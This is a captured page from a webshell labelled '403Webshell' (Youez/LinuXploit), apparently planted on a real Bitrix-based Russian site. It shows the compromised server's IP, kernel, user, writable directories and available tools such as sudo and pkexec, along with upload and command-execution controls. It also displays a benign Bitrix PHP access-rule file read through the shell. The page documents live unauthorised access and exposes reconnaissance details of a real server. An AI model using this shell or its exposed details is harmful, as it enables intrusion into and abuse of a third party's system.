403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/catalog/lib/Access/IblockRule/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/catalog/lib/Access/IblockRule/BaseIblockRule.php
<?php

namespace Bitrix\Catalog\Access\IblockRule;

use Bitrix\Catalog\Access\ShopGroupAssistant;
use Bitrix\Main\Access\AccessibleItem;
use Bitrix\Main\Access\Rule\AbstractRule;
use Bitrix\Catalog\Access\AccessController;
use Bitrix\Catalog\Access\Model\UserModel;
use Bitrix\Main\GroupTable;

class BaseIblockRule extends AbstractRule
{
	/* @var AccessController $controller */
	/* @var UserModel $user */

	/**
	 * check access permission
	 * @param AccessibleItem|null $item
	 * @param null $params
	 *
	 * @return bool
	 */
	public function execute(AccessibleItem $item = null, $params = null): bool
	{
		if ($this->user->isAdmin())
		{
			return true;
		}

		return $this->check($params);
	}

	/**
	 * @param $params
	 * @return bool
	 * @throws \Bitrix\Main\ArgumentException
	 * @throws \Bitrix\Main\ObjectPropertyException
	 * @throws \Bitrix\Main\SystemException
	 */
	protected function check($params): bool
	{
		$groups = $this->user->getRightGroups();

		$groupData = GroupTable::getList([
				'filter' => ['STRING_ID' => $this->getShopIblockTypes()],
				'select' => ['ID']
			])
			->fetchAll()
		;

		$shopGroupIds = array_column($groupData, 'ID');
		if (!$shopGroupIds)
		{
			return false;
		}

		return !empty(array_intersect($groups, $shopGroupIds));
	}

	/**
	 * @return array
	 */
	protected function getShopIblockTypes(): array
	{
		return [ShopGroupAssistant::SHOP_ADMIN_USER_GROUP_CODE, ShopGroupAssistant::SHOP_MANAGER_USER_GROUP_CODE];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit